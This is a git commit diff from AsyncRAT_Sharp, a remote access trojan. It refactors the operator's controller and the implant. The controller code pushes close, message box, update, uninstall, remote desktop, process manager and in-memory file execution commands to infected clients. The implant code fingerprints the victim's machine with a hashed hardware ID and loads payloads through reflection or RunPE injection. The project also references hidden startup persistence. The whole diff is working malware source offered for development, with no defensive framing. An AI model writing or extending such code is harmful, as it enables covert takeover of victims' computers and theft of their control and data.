This commit is contained in:
NYAN CAT 2019-03-30 06:51:51 -07:00
parent 4719d0042b
commit 4c441f2c07
12 changed files with 208 additions and 211 deletions

View File

@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = "This is a ping!"; msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList()) foreach (Clients CL in Settings.Online.ToList())
{ {
await Task.Run(() => await Task.Run(() =>
{ {
CL.BeginSend(msgpack.Encode2Bytes()); CL.BeginSend(msgpack.Encode2Bytes());
}); });
@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
} }
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -145,16 +145,13 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "close"; msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
});
} }
} }
} }
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -168,11 +165,8 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = Msgbox; msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
});
} }
} }
} }
@ -194,12 +188,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Update").AsString = "false"; msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ CL.LV.ForeColor = Color.Red;
Clients CL = (Clients)C.Tag; ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
} }
} }
} }
@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -220,11 +211,8 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "uninstall"; msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
});
} }
} }
catch (Exception ex) catch (Exception ex)
@ -250,12 +238,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Update").AsString = "true"; msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ CL.LV.ForeColor = Color.Red;
Clients CL = (Clients)C.Tag; ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
} }
} }
} }
@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -292,12 +277,9 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ CL.LV.ForeColor = Color.Red;
Clients CL = (Clients)C.Tag; ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red;
});
} }
} }
SF.Close(); SF.Close();
@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -321,28 +303,25 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Option").AsString = "true"; msgpack.ForcePathObject("Option").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
{ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
if (RD == null)
{ {
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; RD = new RemoteDesktop
if (RD == null)
{ {
RD = new RemoteDesktop Name = "RemoteDesktop:" + CL.ID,
{ F = this,
Name = "RemoteDesktop:" + CL.ID, Text = "RemoteDesktop:" + CL.ID,
F = this, C = CL,
Text = "RemoteDesktop:" + CL.ID, Active = true
C = CL, };
Active = true RD.Show();
}; }
RD.Show(); }));
}
}));
});
} }
} }
catch (Exception ex) catch (Exception ex)
@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
} }
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
{ {
try try
{ {
@ -364,26 +343,23 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Option").AsString = "List"; msgpack.ForcePathObject("Option").AsString = "List";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
await Task.Run(() => Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() =>
{ {
Clients CL = (Clients)C.Tag; ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
CL.BeginSend(msgpack.Encode2Bytes()); if (PM == null)
this.BeginInvoke((MethodInvoker)(() =>
{ {
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; PM = new ProcessManager
if (PM == null)
{ {
PM = new ProcessManager Name = "processManager:" + CL.ID,
{ Text = "processManager:" + CL.ID,
Name = "processManager:" + CL.ID, F = this,
Text = "processManager:" + CL.ID, C = CL
F = this, };
C = CL PM.Show();
}; }
PM.Show(); }));
}
}));
});
} }
} }
} }

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.Client.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
} }
private async void killToolStripMenuItem_Click(object sender, EventArgs e) private async void killToolStripMenuItem_Click(object sender, EventArgs e)

View File

@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.Client.Connected) this.Close(); if (!C.ClientSocket.Connected) this.Close();
} }
private void RemoteDesktop_Activated(object sender, EventArgs e) private void RemoteDesktop_Activated(object sender, EventArgs e)

View File

@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
Client.LV = new ListViewItem(); Client.LV = new ListViewItem();
Client.LV.Tag = Client; Client.LV.Tag = Client;
Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
Client.LV.SubItems.Add(ipinf[1]); Client.LV.SubItems.Add(ipinf[1]);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);

View File

@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets
{ {
class Clients class Clients
{ {
public Socket Client { get; set; } public Socket ClientSocket { get; set; }
private byte[] Buffer { get; set; } private byte[] ClientBuffer { get; set; }
private long Buffersize { get; set; } private long ClientBuffersize { get; set; }
private bool BufferRecevied { get; set; } private bool ClientBufferRecevied { get; set; }
private MemoryStream MS { get; set; } private MemoryStream ClientMS { get; set; }
public ListViewItem LV { get; set; } public ListViewItem LV { get; set; }
private object SendSync { get; set; } private object SendSync { get; set; }
private object EndSendSync { get; set; }
public string ID { get; set; } public string ID { get; set; }
public Clients(Socket CLIENT) public Clients(Socket socket)
{ {
if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0])) if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
{ {
Disconnected(); Disconnected();
return; return;
} }
else else
HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
Client = CLIENT; ClientSocket = socket;
Buffer = new byte[1]; ClientBuffer = new byte[1];
Buffersize = 0; ClientBuffersize = 0;
BufferRecevied = false; ClientBufferRecevied = false;
MS = new MemoryStream(); ClientMS = new MemoryStream();
LV = null; LV = null;
SendSync = new object(); SendSync = new object();
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); EndSendSync = new object();
ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
} }
public async void ReadClientData(IAsyncResult ar) public async void ReadClientData(IAsyncResult ar)
{ {
try try
{ {
if (!Client.Connected) if (!ClientSocket.Connected)
{ {
Disconnected(); Disconnected();
return; return;
} }
else else
{ {
int Recevied = Client.EndReceive(ar); int Recevied = ClientSocket.EndReceive(ar);
if (Recevied > 0) if (Recevied > 0)
{ {
if (BufferRecevied == false) if (ClientBufferRecevied == false)
if (Buffer[0] == 0) if (ClientBuffer[0] == 0)
{ {
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray()));
MS.Dispose(); ClientMS.Dispose();
MS = new MemoryStream(); ClientMS = new MemoryStream();
if (Buffersize > 0) if (ClientBuffersize > 0)
{ {
Buffer = new byte[Buffersize]; ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
BufferRecevied = true; ClientBufferRecevied = true;
} }
} }
else else
await MS.WriteAsync(Buffer, 0, Buffer.Length); await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
else else
{ {
await MS.WriteAsync(Buffer, 0, Recevied); await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
if (MS.Length == Buffersize) Settings.Received += Recevied;
if (ClientMS.Length == ClientBuffersize)
{ {
try try
{ {
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this }); ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this });
} }
catch (CryptographicException) catch (CryptographicException)
{ {
HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]); Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
Disconnected(); Disconnected();
return; return;
} }
Settings.Received += MS.ToArray().Length; ClientBuffer = new byte[1];
Buffer = new byte[1]; ClientBuffersize = 0;
Buffersize = 0; ClientMS.Dispose();
MS.Dispose(); ClientMS = new MemoryStream();
MS = new MemoryStream(); ClientBufferRecevied = false;
BufferRecevied = false;
} }
else else
Buffer = new byte[Buffersize - MS.Length]; ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
} }
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
} }
else else
{ {
@ -117,21 +119,26 @@ namespace AsyncRAT_Sharp.Sockets
public void Disconnected() public void Disconnected()
{ {
if (LV != null)
{
if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
lock (Settings.Online)
Settings.Online.Remove(this);
}
try try
{ {
MS?.Dispose(); if (LV != null)
Client?.Dispose(); {
if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
lock (Settings.Online)
Settings.Online.Remove(this);
}
}
catch { }
try
{
ClientMS?.Dispose();
ClientSocket?.Dispose();
} }
catch { } catch { }
} }
@ -140,7 +147,12 @@ namespace AsyncRAT_Sharp.Sockets
{ {
lock (SendSync) lock (SendSync)
{ {
if (!Client.Connected) if (ClientSocket == null)
{
Disconnected();
return;
}
if (!ClientSocket.Connected)
{ {
Disconnected(); Disconnected();
return; return;
@ -148,16 +160,12 @@ namespace AsyncRAT_Sharp.Sockets
try try
{ {
using (MemoryStream MEM = new MemoryStream()) byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
{ byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); ClientSocket.Poll(-1, SelectMode.SelectWrite);
MEM.Write(buffersize, 0, buffersize.Length); ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
MEM.Write(buffer, 0, buffer.Length); ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MEM.Length;
}
} }
catch catch
{ {
@ -170,14 +178,20 @@ namespace AsyncRAT_Sharp.Sockets
public void EndSend(IAsyncResult ar) public void EndSend(IAsyncResult ar)
{ {
try lock (EndSendSync)
{ {
Client.EndSend(ar); try
} {
catch int sent = 0;
{ sent = ClientSocket.EndSend(ar);
Disconnected(); Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///");
return; Settings.Sent += sent;
}
catch
{
Disconnected();
return;
}
} }
} }
} }

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets
SendTimeout = -1, SendTimeout = -1,
}; };
Server.Bind(IpEndPoint); Server.Bind(IpEndPoint);
Server.Listen(20); Server.Listen(30);
HandleLogs.Addmsg($"Listenning {port}", Color.Green); HandleLogs.Addmsg($"Listenning {port}", Color.Green);
Server.BeginAccept(EndAccept, null); Server.BeginAccept(EndAccept, null);
} }

View File

@ -70,7 +70,8 @@
<Compile Include="Handle Packet\HandlePacket.cs" /> <Compile Include="Handle Packet\HandlePacket.cs" />
<Compile Include="Handle Packet\ProcessManager.cs" /> <Compile Include="Handle Packet\ProcessManager.cs" />
<Compile Include="Handle Packet\RemoteDesktop.cs" /> <Compile Include="Handle Packet\RemoteDesktop.cs" />
<Compile Include="Handle Packet\SendFile.cs" /> <Compile Include="Handle Packet\SendToMemory.cs" />
<Compile Include="Helper\Methods.cs" />
<Compile Include="Install\HiddenStartup.cs" /> <Compile Include="Install\HiddenStartup.cs" />
<Compile Include="Install\NormalStartup.cs" /> <Compile Include="Install\NormalStartup.cs" />
<Compile Include="MessagePack\BytesTools.cs" /> <Compile Include="MessagePack\BytesTools.cs" />

View File

@ -54,11 +54,11 @@ namespace Client.Handle_Packet
Thread thread = null; Thread thread = null;
if (Injection.Length == 0) if (Injection.Length == 0)
{ {
thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory)); thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
} }
else else
{ {
thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE)); thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
} }
thread.Start(parameters); thread.Start(parameters);
} }

View File

@ -5,9 +5,9 @@ using System.Runtime.InteropServices;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
class SendFile class SendToMemory
{ {
public static void SendToMemory(object obj) public static void Reflection(object obj)
{ {
object[] Obj = (object[])obj; object[] Obj = (object[])obj;
byte[] Buffer = (byte[])Obj[0]; byte[] Buffer = (byte[])Obj[0];

View File

@ -0,0 +1,30 @@
using System;
using System.Security.Cryptography;
using System.Text;
namespace Client.Helper
{
static class Methods
{
public static string HWID()
{
StringBuilder sb = new StringBuilder();
sb.Append(Environment.UserDomainName);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
sb.Append(Environment.Version);
return GetHash(sb.ToString());
}
public static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 12).ToUpper();
}
}
}

View File

@ -8,6 +8,7 @@ using System.Text;
using System.Threading; using System.Threading;
using System.Security.Cryptography; using System.Security.Cryptography;
using Client.Handle_Packet; using Client.Handle_Packet;
using Client.Helper;
namespace Client.Sockets namespace Client.Sockets
{ {
@ -22,6 +23,7 @@ namespace Client.Sockets
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; } private static MemoryStream MS { get; set; }
private static object SendSync { get; set; } private static object SendSync { get; set; }
private static object EndSendSync { get; set; }
public static bool Connected { get; set; } public static bool Connected { get; set; }
public static void InitializeClient() public static void InitializeClient()
@ -44,6 +46,7 @@ namespace Client.Sockets
BufferRecevied = false; BufferRecevied = false;
MS = new MemoryStream(); MS = new MemoryStream();
SendSync = new object(); SendSync = new object();
EndSendSync = new object();
BeginSend(SendInfo()); BeginSend(SendInfo());
TimerCallback T = CheckServer; TimerCallback T = CheckServer;
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@ -52,7 +55,6 @@ namespace Client.Sockets
catch catch
{ {
Debug.WriteLine("Disconnected!"); Debug.WriteLine("Disconnected!");
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
Connected = false; Connected = false;
} }
} }
@ -76,7 +78,7 @@ namespace Client.Sockets
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
@ -85,28 +87,7 @@ namespace Client.Sockets
return msgpack.Encode2Bytes(); return msgpack.Encode2Bytes();
} }
private static string HWID() public static void ReadServertData(IAsyncResult Iar)
{
StringBuilder sb = new StringBuilder();
sb.Append(Environment.UserDomainName);
sb.Append(Environment.UserName);
sb.Append(Environment.MachineName);
sb.Append(Environment.Version);
return GetHash(sb.ToString());
}
private static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 12).ToUpper();
}
public static void ReadServertData(IAsyncResult ar)
{ {
try try
{ {
@ -116,14 +97,14 @@ namespace Client.Sockets
return; return;
} }
int Recevied = Client.EndReceive(ar); int Recevied = Client.EndReceive(Iar);
if (Recevied > 0) if (Recevied > 0)
{ {
if (BufferRecevied == false) if (BufferRecevied == false)
if (Buffer[0] == 0) if (Buffer[0] == 0)
{ {
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
if (Buffersize > 0) if (Buffersize > 0)
@ -168,24 +149,14 @@ namespace Client.Sockets
{ {
lock (SendSync) lock (SendSync)
{ {
if (!Client.Connected)
{
Connected = false;
return;
}
try try
{ {
using (MemoryStream MS = new MemoryStream()) byte[] buffer = Settings.aes256.Encrypt(Msg);
{ byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
byte[] buffer = Settings.aes256.Encrypt(Msg);
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
} Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
} }
catch catch
{ {
@ -197,14 +168,19 @@ namespace Client.Sockets
public static void EndSend(IAsyncResult ar) public static void EndSend(IAsyncResult ar)
{ {
try lock (EndSendSync)
{ {
Client.EndSend(ar); try
} {
catch int sent = 0;
{ sent = Client.EndSend(ar);
Connected = false; Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
return; }
catch
{
Connected = false;
return;
}
} }
} }